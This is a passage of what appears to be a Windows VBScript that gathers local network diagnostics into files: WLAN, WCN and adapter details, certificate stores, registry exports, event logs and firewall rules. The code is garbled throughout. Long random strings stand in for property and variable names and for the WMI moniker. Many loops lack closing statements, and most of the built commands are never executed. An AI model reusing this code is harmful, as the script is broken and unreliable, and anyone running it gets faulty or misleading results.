' Write the wlan information to the output file (wlaninfo.txt)

cmd = "cmd /c time /t >> " & outputFileName

cmd = "cmd /c netsh wl show i >> " & outputFileName

cmd = "cmd /c netsh wl show d >> " & outputFileName

cmd = "cmd /c netsh wlan show interfaces >> " & outputFileName

cmd = "cmd /c netsh wlan sho net m=b >> " & outputFileName

End Sub

Sub GetWcnInfo(outputFileName)

On Error Resume Next

Dim WcnInfoFile

Set WcnInfoFile= FSO.OpenTextFile(outputFileName, 8, True)

WcnInfoFile.WriteLine("-------------------------------------")

WcnInfoFile.WriteLine("---------+ WCN Information +---------")

WcnInfoFile.WriteLine("-------------------------------------")

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine("-----------------")

WcnInfoFile.WriteLine("+ Services Status")

WcnInfoFile.WriteLine("-----------------")

WcnInfoFile.WriteLine("")

WcnInfoFile.Close

cmd = "cmd /c sc query wcncsvc >> " & outputFileName

cmd = "cmd /c sc query wlansvc >> " & outputFileName

cmd = "cmd /c sc query eaphost >> " & outputFileName

cmd = "cmd /c sc query fdrespub >> " & outputFileName

cmd = "cmd /c sc query upnphost >> " & outputFileName

cmd = "cmd /c sc query eaphost >> " & outputFileName

Set WcnInfoFile= FSO.OpenTextFile(outputFileName, 8, True)

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine("-----------------------")

WcnInfoFile.WriteLine("+ WCN Files Information ")

WcnInfoFile.WriteLine("-----------------------")

WcnInfoFile.WriteLine("")

strComputer = "."

Set shell = WScript.CreateObject( "WScript.Shell" )

windir = shell.ExpandEnvironmentStrings("%windir%\system32\")

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Dim FileSet

FileSet = Array("wcncsvc.dll", "wcnapi.dll", "fdwcn.dll", "wcneapauthproxy.dll", "wcneappeerproxy.dll", "wcnwiz.dll", "wcnnetsh.dll", "wczdlg.dll")

For Each file in FileSet

filename = windir + file

strQuery = "Select * from CIM_Datafile Where Name = '" + Replace(filename, "\", "\\") + "'"

Set fileProp = objWMIService.ExecQuery _

(strQuery)

For Each objFile in fileProp

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine("---------------------")

WcnInfoFile.WriteLine(file)

WcnInfoFile.WriteLine("---------------------")

WcnInfoFile.WriteLine("

- Version

" + objFile.Version )

WcnInfoFile.WriteLine("

- Creation Date

" + objFile.CreationDate )

WcnInfoFile.WriteLine("

- Description

" + objFile.Description )

WcnInfoFile.WriteLine("

- Installation Date

" + objFile.InstallDate )

WcnInfoFile.WriteLine("

- In Use Count

" + objFile.InUseCount )

WcnInfoFile.WriteLine("

- Last Accessed

" + objFile.LastAccessed )

WcnInfoFile.WriteLine("

- Last Modified

" + objFile.LastModified )

WcnInfoFile.WriteLine("

- Status

" + objFile.Status )

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine("-------------------------------")

WcnInfoFile.WriteLine("+ Network Adapters Information ")

WcnInfoFile.WriteLine("-------------------------------")

WcnInfoFile.WriteLine("")

strQuery = "Select * from Win32_NetworkAdapter "

Set AdapterProp = objWMIService.ExecQuery _

(strQuery)

For Each objFile in AdapterProp

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine("---------------------")

WcnInfoFile.WriteLine("DeviceID : " + objFile.DeviceID )

WcnInfoFile.WriteLine("---------------------")

WcnInfoFile.WriteLine("

- Adapter UkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO

" + objFile.AdapterUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO )

WcnInfoFile.WriteLine("

- Auto Sense

" + objFile.AutoSense )

WcnInfoFile.WriteLine("

- Description

" + objFile.Description )

WcnInfoFile.WriteLine("

- NetConnectionID

" + objFile.NetConnectionID )

WcnInfoFile.WriteLine("

- GUID

" + objFile.GUID )

WcnInfoFile.WriteLine("

- MACAddress

" + objFile.MACAddress )

WcnInfoFile.WriteLine("

- Manufacturer

" + objFile.Manufacturer )

WcnInfoFile.WriteLine("

- MaxSpeed

" + objFile.MaxSpeed )

WcnInfoFile.WriteLine("

- Speed

" + objFile.Speed )

WcnInfoFile.WriteLine("

- Name

" + objFile.Name )

Select Case objFile.NetConnectionStatus

Case 0 strAvail= "Disconnected"

Case 1 strAvail= "Connecting"

Case 2

strAvail= "Connected"

Case 3

strAvail= "Disconnecting"

Case 4

strAvail= "Hardware not present"

Case 5

strAvail= "Hardware disabled"

Case 6

strAvail= "Hardware malfunction"

Case 7

strAvail= "Media disconnected"

Case 8

strAvail= "Authenticating"

Case 9

strAvail= "Authentication succeeded"

Case 10

strAvail= "Authentication failed"

Case 11

strAvail= "Invalid address"

Case 12

strAvail= "Credentials required"

End Select

WcnInfoFile.WriteLine("

- NetConnectionStatus

" + strAvail )

WcnInfoFile.WriteLine("

- NetEnabled

" + objFile.NetEnabled )

WcnInfoFile.WriteLine("

- NetworkAddresses

" + objFile.NetworkAddresses )

WcnInfoFile.WriteLine("

- PermanentAddress

" + objFile.PermanentAddress )

WcnInfoFile.WriteLine("

- PhysicalAdapter

" + objFile.PhysicalAdapter )

WcnInfoFile.WriteLine("

- PNPDeviceID

" + objFile.PNPDeviceID )

WcnInfoFile.WriteLine("

- kPTWttQHRRbWMOgKMAGFVsSonUxQLNuPEoLeYDHqpcogOvuniCYFgYzcrzewiXeOVuNaRpOjNhQkkUfIXtSJOfecvgYRFPTHGfzhPQLkiYEByenKFinQpqtsVthcNzUyTYndNSNUWrobVBfAxAPWUcHpXmcTgrTYClHVyusyPytSoEngqbIYsbOhTsiMEqEeKHutXZzZ

" + objFile.kPTWttQHRRbWMOgKMAGFVsSonUxQLNuPEoLeYDHqpcogOvuniCYFgYzcrzewiXeOVuNaRpOjNhQkkUfIXtSJOfecvgYRFPTHGfzhPQLkiYEByenKFinQpqtsVthcNzUyTYndNSNUWrobVBfAxAPWUcHpXmcTgrTYClHVyusyPytSoEngqbIYsbOhTsiMEqEeKHutXZzZ )

WcnInfoFile.WriteLine("

- ServiceName

" + objFile.ServiceName )

WcnInfoFile.WriteLine("

- SystemName

" + objFile.SystemName )

WcnInfoFile.WriteLine("

- TimeOfLastReset

" + objFile.TimeOfLastReset )

WcnInfoFile.WriteLine("

- Status

" + objFile.Status )

Select Case objFile.StatusInfo

Case 1 strAvail= "Other"

Case 2

strAvail= "Unknown"

Case 3

strAvail= "Enabled"

Case 4

strAvail= "Disabled"

Case 5

strAvail= "Not Applicable"

End Select

WcnInfoFile.WriteLine("

- StatusInfo

" + strAvail )

Select Case objFile.Availability

Case 1 strAvail= "Other"

Case 2

strAvail= "Unknown"

Case 3

strAvail= "Running or Full Power"

Case 4

strAvail= "Warning"

Case 5

strAvail= "In test"

Case 6

strAvail= "Not Applicable"

Case 7

strAvail= "Power Off"

Case 8

strAvail= "Off Line"

Case 9

strAvail= "Off Duty"

Case 10

strAvail= "Degraded"

Case 11

strAvail= "Not Installed"

Case 12

strAvail= "Install Error"

Case 13

strAvail= "Power Save - Unknown"

Case 14

strAvail= "Power Save - Low Power Mode"

Case 15

strAvail= "Power Save - Standby"

Case 16

strAvail= "Power Cycle"

Case 17

strAvail= "Power Save - Warning"

End Select

WcnInfoFile.WriteLine("

- Availability

" + strAvail )

WcnInfoFile.WriteLine("

- Caption

" + objFile.Caption )

Select Case objFile.ConfigManagerErrorCode

Case 0

strAvail= "Device is working properly"

Case 1

strAvail= "Device is not configured correctly"

Case 2

strAvail= "Windows cannot load the driver for this device"

Case 3

strAvail= "Driver for this device might be corrupted, or the system may be low on memory or other resources"

Case 4

strAvail= "Device is not working properly. One of its drivers or the registry might be corrupted."

Case 5

strAvail= "Driver for the device requires a resource that Windows cannot manage."

Case 6

strAvail= "Boot configuration for the device conflicts with other devices"

Case 7

strAvail= "Cannot filter"

Case 8

strAvail= "Driver loader for the device is missing"

Case 9

strAvail= "Device is not working properly. The controlling firmware is incorrectly reporting the resources for the device"

Case 10

strAvail= "Device cannot start"

Case 11

strAvail= "Device failed"

Case 12

strAvail= "Device cannot find enough free resources to use"

Case 13

strAvail= "Windows cannot verify the device's resources"

Case 14

strAvail= "Device cannot work properly until the computer is restarted"

Case 15

strAvail= "Device is not working properly due to a possible re-enumeration problem"

Case 16

strAvail= "Windows cannot identify all of the resources that the device uses"

Case 17

strAvail= "Device is requesting an unknown resource type."

Case 18

strAvail= "Device drivers must be reinstalled"

Case 19

strAvail= "Failure using the VxD loader"

Case 20

strAvail= "Registry might be corrupted."

Case 21

strAvail= "System failure. If changing the device driver is ineffective, see the hardware documentation. Windows is removing the device"

Case 22

strAvail= "Device is disabled"

Case 23

strAvail= "System failure. If changing the device driver is ineffective, see the hardware documentation"

Case 24

strAvail= "Device is not present, not working properly, or does not have all of its drivers installed."

Case 25

strAvail= "Windows is still setting up the device"

Case 27

strAvail= "Device does not have valid log configuration."

Case 28

strAvail= "Device drivers are not installed."

Case 29

strAvail= "Device is disabled. The device firmware did not provide the required resources."

Case 30

strAvail= "Device is using an IRQ resource that another device is using."

Case 31

strAvail= "Device is not working properly. Windows cannot load the required device drivers."

End Select

WcnInfoFile.WriteLine("

- ConfigManagerErrorCode:

" + strAvail )

WcnInfoFile.WriteLine("

- Error Cleared

" + objFile.ErrorCleared )

WcnInfoFile.WriteLine("

- Error Description

" + objFile.ErrorDescription)

WcnInfoFile.WriteLine("

- InPLyuXvUhISHOMiHvcaKdtBxKSDZWwBLeCIuuaMzGLPNvdMPGFkvmiDvqarXSErLcuRQNovOyTcjiBsYIiEiFfvFxQqoPyCqWMTRVMRbZCQMcORjbzPWrSIOWmoPZbuRyioppsSGpkjajjzSPkWnDboUsBZpWJIzWUtbzUrHTyeIdOMwOdLccIzofGzEBughJiySlTdCode

" + objFile.InPLyuXvUhISHOMiHvcaKdtBxKSDZWwBLeCIuuaMzGLPNvdMPGFkvmiDvqarXSErLcuRQNovOyTcjiBsYIiEiFfvFxQqoPyCqWMTRVMRbZCQMcORjbzPWrSIOWmoPZbuRyioppsSGpkjajjzSPkWnDboUsBZpWJIzWUtbzUrHTyeIdOMwOdLccIzofGzEBughJiySlTdCode)

WcnInfoFile.WriteLine("

- Index

" + objFile.Index)

WcnInfoFile.WriteLine("

- Installed

" + objFile.Installed )

WcnInfoFile.WriteLine("

- Install Date

" + objFile.InstallDate )

WcnInfoFile.WriteLine("

- InterfaceIndex

" + objFile.InterfaceIndex )

WcnInfoFile.Close

Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True)

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine("-----------------------")

WcnInfoFile.WriteLine("+ ipconfig information")

WcnInfoFile.WriteLine("-----------------------")

WcnInfoFile.WriteLine("")

WcnInfoFile.Close

cmd = "cmd /c ipconfig /all >> " & outputFileName

Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True)

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine("----------------------")

WcnInfoFile.WriteLine("+ Softap Capabilities ")

WcnInfoFile.WriteLine("----------------------")

WcnInfoFile.WriteLine("")

WcnInfoFile.Close

cmd = "cmd /c netsh wlan show device >> " & outputFileName

Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True)

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine("----------------------")

WcnInfoFile.WriteLine("+ Dump wcncsvc RegKey ")

WcnInfoFile.WriteLine("----------------------")

WcnInfoFile.WriteLine("")

WcnInfoFile.Close

cmd = "cmd /c reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wcncsvc\Parameters >> " & outputFileName

' Set shell = WScript.CreateObject( "WScript.Shell" )

' windir = shell.ExpandEnvironmentStrings("%windir%\system32\")

' filename = windir + "wcnwiz.dll"

' commandname = windir + "rundll32.exe"

' cmd = "cmd /c "& commandname &" "& filename &" , RunDumpWcnCache >> " & outputFileName

' UttOGZGNUWNUwWGMwZPbyqrWwWhqvJqBJQiWrrPcKOPukvgGtbWfOMGOqXUqptpqLIhDwCBLKgeJWJIWfUWPfDoBMzZgqDyLKxqWwDGwsbQNDbqGOfIkbmkoBevwhDKDsaOdvvNwwUvvRelgycTbgQwWXKnXiJmWcdZhJGyhOQrDoOlKOGolPmaPOOcfAGBrkgWLbGqD.Run cmd, 0, True

Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True)

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine("--------------------------------")

WcnInfoFile.WriteLine("+ Network Discovery Information.")

WcnInfoFile.WriteLine("--------------------------------")

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine("------------------------------")

WcnInfoFile.WriteLine("- Current Profile information")

WcnInfoFile.WriteLine("------------------------------")

WcnInfoFile.WriteLine("")

' Profile UkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO

Const NET_FW_PROFILE2_DOMAIN = 1

Const NET_FW_PROFILE2_PRIVATE = 2

Const NET_FW_PROFILE2_PUBLIC = 4

' Direction

Const NET_FW_RULE_DIR_IN = 1

Const NET_FW_RULE_DIR_OUT = 2

' Create the FwPolicy2 object.

Dim fwPolicy2

Dim ProfileUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO

ProfileUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO = Array("Domain", "Private", "Public")

Set fwPolicy2 = CreateObject("HNetCfg.FwPolicy2")

CurrentProfile = fwPolicy2.CurrentProfileUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlOs

WcnInfoFile.WriteLine ("Current firewall profile is: ")

'// The returned 'CurrentProfiles' bitmask can have more than 1 bit set if multiple profiles

'// are active or current at the same time

if ( CurrentProfile AND NET_FW_PROFILE2_DOMAIN ) then

WcnInfoFile.WriteLine(ProfileUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO(0))

end if

if ( CurrentProfile AND NET_FW_PROFILE2_PRIVATE ) then

end if

if ( CurrentProfile AND NET_FW_PROFILE2_PUBLIC ) then

end if

WcnInfoFile.Close

cmd = "cmd /c netsh advfirewall show currentprofile >> " & outputFileName

Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True)

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine("----------------------------------------------")

WcnInfoFile.WriteLine("- Network discovery status for current profile")

WcnInfoFile.WriteLine("----------------------------------------------")

WcnInfoFile.WriteLine("")

Dim rule

' Get the Rules object

Dim RulesObject

Set RulesObject = fwPolicy2.Rules

For Each rule In Rulesobject

if rule.Grouping = "@FirewallAPI.dll,-32752" then

WcnInfoFile.WriteLine("")

WcnInfoFile.WriteLine(" Rule Name: " & rule.Name)

WcnInfoFile.WriteLine(" ----------------------------------------------")

WcnInfoFile.WriteLine(" Enabled: " & rule.Enabled)

WcnInfoFile.WriteLine(" Description: " & rule.Description)

WcnInfoFile.WriteLine(" Application Name: " & rule.ApplicationName)

WcnInfoFile.WriteLine(" Service Name: " & rule.ServiceName)

Select Case rule.Direction

Case NET_FW_RULE_DIR_IN WcnInfoFile.WriteLine(" Direction: In")

Case NET_FW_RULE_DIR_OUT WcnInfoFile.WriteLine(" Direction: Out")

End Select

end if

WcnInfoFile.Close

End Sub

Sub GetWirelessAdapterInfo(outputFile)

On Error Resume Next

Dim adapters, objReg

Dim adapterDetailNames, adapterDetailRegValNames

adapterDetailNames = Array("Driver Description", "Adapter Guid", "Hardware ID", "Driver Date", "Driver Version", "Driver Provider")

adapterDetailRegValNames = Array("DriverDesc", "NetCfgInstanceId", "MatchingDeviceId", "DriverDate", "DriverVersion", "ProviderName")

IHVDetailNames = Array("ExtensibilityDLL", "UIExtensibilityCLSID", "GroupName", "DiagnosticsID")

IHVDetailRegValNames = Array("ExtensibilityDLL", "UIExtensibilityCLSID", "GroupName", "DiagnosticsID")

HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."

Set objReg = GetObject("nDstYcAKlLaPFNpsEizoXQbjvXeqMhINHgZtrZtdxxSyzDMSxNMwOFrKvndPBkqfqSHAvuQWtEoStZoKaejjtvLUvBOzjRCJlmzOcXgFhYZHRfHSgVQzyBQJvYHVRhBMsSPaBEdVfMEgevonuLHJAzcCdeuTDaxWWWSjWFsWNMkxjCdGrBhWfYAJwlxcPRMyCzFTKtTN=impersonate}!\\" &_

strComputer & "\root\default:StdRegProv")

strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\"

objReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, adapterSet

For Each adapter In adapterSet

If StrComp("Properties", adapter) Then

fullstrKeyPath = strKeyPath + adapter

objReg.GetDWORDValue HKEY_LOCAL_MACHINE, fullstrKeyPath, "*IfUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO", ifUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO

If ifUkviEmeYZqmfwDLlBALQHEGInuopqqoWCRCoeqSpWScvOSsnGhVWfMHEzUKEGlwzBEnOjmiwYxFTRXWaeYbGsZsYRAuzsEoRTuXIqTeJBPxThDezPvlntIUStmRofTxMkJizXbtWIfHtzODtXARFSEuYhOEQorBaEpJPJSsYeadFtYKCGoMmwZIusaRCmplwYsmlfUlO = 71 Then

for I = 0 to UBound(adapterDetailNames)

objReg.GetStringValue HKEY_LOCAL_MACHINE, fullstrKeyPath, adapterDetailRegValNames(I), info

outputFile.WriteLine(adapterDetailNames(I) + " = " + info)

ihvKeyPath = fullstrKeyPath + "\Ndi\IHVExtensions"

For J = 0 to UBound(IHVDetailNames)

objReg.GetStringValue HKEY_LOCAL_MACHINE, ihvKeyPath, IHVDetailRegValNames(J), ihvInfo

outputFile.WriteLine(IHVDetailNames(J) + " = " + ihvInfo)

objReg.GetDWordValue HKEY_LOCAL_MACHINE, ihvKeyPath, "AdapterOUI", ihvInfo

outputFile.WriteLine("AdapterOUI = " + CSTR(ihvInfo))

outputFile.WriteLine()

End If

cmd = "cmd /c tasklist /svc > " & processes

Set objTextFile = FSO.OpenTextFile(processes, 1)

strIHVOutput = objTextFile.ReadAll()

Set regEx = New RegExp

regEx.Pattern = "^wlanext.exe[\s|a-z|A-Z|\d]*"

regEx.Multiline = True

regEx.IgnoreCase = True

regEx.Global = True

Set Matches = regEx.Execute(strIHVOutput)

For Each match in Matches

outputFile.WriteLine(match.Value)

End Sub

Sub GetWirelessAutoconfigLog(logFileName)

On Error Resume Next

'Export the operational log

cmd = "cmd /c wevtutil epl ""Microsoft-Windows-WLAN-AutoConfig/Operational"" " & logFileName

'Archive the log so that it can be read on different machines

cmd = "cmd /c wevtutil al " & logFileName

End Sub

Sub GetWwanLog(logFileName)

On Error Resume Next

'Export the operational log

cmd = "cmd /c wevtutil epl ""Microsoft-Windows-WWAN-SVC-EVENTS/Operational"" " & logFileName

'Archive the log so that it can be read on different machines

cmd = "cmd /c wevtutil al " & logFileName

End Sub

Sub GetWcmLog(logFileName)

On Error Resume Next

'Export the operational log

cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Wcmsvc/Operational"" " & logFileName

'Archive the log so that it can be read on different machines

cmd = "cmd /c wevtutil al " & logFileName

End Sub

Sub GetWiredAdapterInfo(outputFile)

On Error Resume Next

Dim adapters, objReg

Dim adapterDetailNames, adapterDetailRegValNames

adapterDetailNames = Array("Driver Description", "Adapter Guid", "Hardware ID", "Driver Date", "Driver Version", "Driver Provider")

adapterDetailRegValNames = Array("DriverDesc", "NetCfgInstanceId", "MatchingDeviceId", "DriverDate", "DriverVersion", "ProviderName")

HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."

strComputer & "\root\default:StdRegProv")

strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\"

objReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, adapterSet

For Each adapter In adapterSet

If StrComp("Properties", adapter) Then

fullstrKeyPath = strKeyPath + adapter

for I = 0 to UBound(adapterDetailNames)

objReg.GetStringValue HKEY_LOCAL_MACHINE, fullstrKeyPath, adapterDetailRegValNames(I), info

outputFile.WriteLine(adapterDetailNames(I) + " = " + info)

outputFile.WriteLine()

End If

End Sub

Sub GetEnvironmentInfo(outputFileName)

On Error Resume Next

Dim envInfoFile

cmd = "cmd /c netsh wlan show all > " & outputFileName

cmd = "cmd /c netsh lan show interfaces >> " & outputFileName

cmd = "cmd /c netsh lan show settings >> " & outputFileName

cmd = "cmd /c netsh lan show profiles >> " & outputFileName

cmd = "cmd /c netsh mbn show interfaces >> " & outputFileName

cmd = "cmd /c netsh mbn show profile name=* interface=* >> " & outputFileName

cmd = "cmd /c netsh mbn show readyinfo interface=* >> " & outputFileName

cmd = "cmd /c netsh mbn show capability interface=* >> " & outputFileName

cmd = "cmd /c ipconfig /all >> " & outputFileName

RunCmd "echo.", outputFileName

RunCmd "echo ROUTE PRINT:", outputFileName

RunCmd "route print", outputFileName

Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)

envInfoFile.WriteLine("")

envInfoFile.WriteLine("Machine certificates...")

envInfoFile.WriteLine("")

envInfoFile.Close

cmd = "cmd /c certutil -v -store -silent My >> " & outputFileName

Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)

envInfoFile.WriteLine("")

envInfoFile.WriteLine("User certificates...")

envInfoFile.WriteLine("")

envInfoFile.Close

cmd = "cmd /c certutil -v -store -silent -user My >> " & outputFileName

Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)

envInfoFile.WriteLine("")

envInfoFile.WriteLine("Root certificates (machine store)...")

envInfoFile.WriteLine("")

envInfoFile.Close

cmd = "cmd /c certutil -v -store -silent root >> " & outputFileName

Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)

envInfoFile.WriteLine("")

envInfoFile.WriteLine("Root certificates (enterprise store)...")

envInfoFile.WriteLine("")

envInfoFile.Close

cmd = "cmd /c certutil -v -enterprise -store -silent NTAuth >> " & outputFileName

Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)

envInfoFile.WriteLine("")

envInfoFile.WriteLine("Root certificates (user store)...")

envInfoFile.WriteLine("")

envInfoFile.Close

cmd = "cmd /c certutil -v -user -store -silent root >> " & outputFileName

End Sub

'Comments: Function to dump a tree under a registry path into a file

Sub DumpRegKey(outputFileName,regpath)

On Error Resume Next

Dim cmd

cmd = "cmd /c reg export " & regpath & " " & outputFileName & " /y"

End Sub

Sub DumpAllKeys

On Error Resume Next

Dim NotifRegFile, RegFolder, Key

RegFolder = "Reg"

if Not FSO.FolderExists(RegFolder) Then

FSO.CreateFolder RegFolder

End If

' Dump WLAN registry keys

AllCredRegFile = RegFolder + "\AllCred.reg.txt"

AllCredFilterFile = RegFolder + "\AllCredFilter.reg.txt"

CredRegFileA = RegFolder + "\{07AA0886-CC8D-4e19-A410-1C75AF686E62}.reg.txt"

CredRegFileB = RegFolder + "\{33c86cd6-705f-4ba1-9adb-67070b837775}.reg.txt"

CredRegFileC = RegFolder + "\{edd749de-2ef1-4a80-98d1-81f20e6df58e}.reg.txt"

APIPermRegFile = RegFolder + "\APIPerm.reg.txt"

NotifRegFile = RegFolder + "\Notif.reg.txt"

GPTRegFile = RegFolder + "\GPT.reg.txt"

CUWlanSvcRegFile = RegFolder + "\HKCUWlanSvc.reg.txt"

LMWlanSvcRegFile = RegFolder + "\HKLMWlanSvc.reg.txt"

NidRegFile = RegFolder + "\NetworkProfiles.reg.txt"

call DumpRegKey(NotifRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Control\Winlogon\Notifications""")

call DumpRegKey(AllCredRegFile ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers""")

call DumpRegKey(AllCredFilterFile,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters""")

call DumpRegKey(CredRegFileA ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{07AA0886-CC8D-4e19-A410-1C75AF686E62}""")

call DumpRegKey(CredRegFileB ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{33c86cd6-705f-4ba1-9adb-67070b837775}""")

call DumpRegKey(CredRegFileC ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters\{edd749de-2ef1-4a80-98d1-81f20e6df58e}""")

call DumpRegKey(APIPermRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Services\Wlansvc\Parameters\WlanAPIPermissions""")

call DumpRegKey(GPTRegFile , """HKLM\SOFTWARE\Policies\Microsoft\Windows\Wireless\GPTWirelessPolicy""")

call DumpRegKey(CUWlanSvcRegFile ,"""HKCU\SOFTWARE\Microsoft\Wlansvc""")

call DumpRegKey(LMWlanSvcRegFile ,"""HKLM\SOFTWARE\Microsoft\Wlansvc""")

' Dump Dot3 registry keys

LMDot3SvcRegFile = RegFolder + "\HKLMDot3Svc.reg.txt"

CUDot3SvcRegFile = RegFolder + "\HKCUDot3Svc.reg.txt"

LGPPolicyFile = RegFolder + "\L2GP.reg.txt"

call DumpRegKey(LMDot3SvcRegFile ,"""HKLM\SOFTWARE\Microsoft\dot3svc""")

call DumpRegKey(CUDot3SvcRegFile ,"""HKCU\SOFTWARE\Microsoft\dot3svc""")

call DumpRegKey(LGPPolicyFile ,"""HKLM\SOFTWARE\Policies\Microsoft\Windows\WiredL2\GP_Policy""")

call DumpRegKey(NidRegFile ,"""HKLM\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\NetworkList""")

' Dump WCM registry keys

WCMPolicyRegFile = RegFolder + "\WCMPolicy.reg.txt"

call DumpRegKey(WCMPolicyRegFile ,"""HKLM\SOFTWARE\Policies\Microsoft\WcmSvc""")

End Sub

' Dump Winsock LSP catalog

Sub DumpWinsockCatalog(outputFileName)

On Error Resume Next

Dim envInfoFile

cmd = "cmd /c netsh winsock show catalog > " & outputFileName

End Sub

' Dump the Windows Firewall Configuration

Sub GetWindowsFirewallInfo(configFileName, logFileName, effectiveRulesFileName, consecLogFileName, logFileNameVerbose, consecLogFileNameVerbose)

On Error Resume Next

Dim envInfoFile

cmd = "cmd /c echo Current Profiles: > " & configFileName

cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName

'Dump the current profiles

cmd = "cmd /c netsh advfirewall monitor show currentprofile >> " & configFileName

cmd = "cmd /c echo Firewall Configuration: >> " & configFileName

cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName

' Dump the firewall configuration

cmd = "cmd /c netsh advfirewall monitor show firewall >> " & configFileName

cmd = "cmd /c echo Connection Security Configuration: >> " & configFileName

cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName

'Dump the connection security configuration

cmd = "cmd /c netsh advfirewall monitor show consec >> " & configFileName

cmd = "cmd /c echo Firewall Rules : >> " & configFileName

cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName

'Dump the firewall rules

cmd = "cmd /c netsh advfirewall firewall show rule name=all verbose >> " & configFileName

cmd = "cmd /c echo Connection Security Rules : >> " & configFileName

cmd = "cmd /c echo ------------------------------------------------------------------------ >> " & configFileName

'Dump the connection security rules

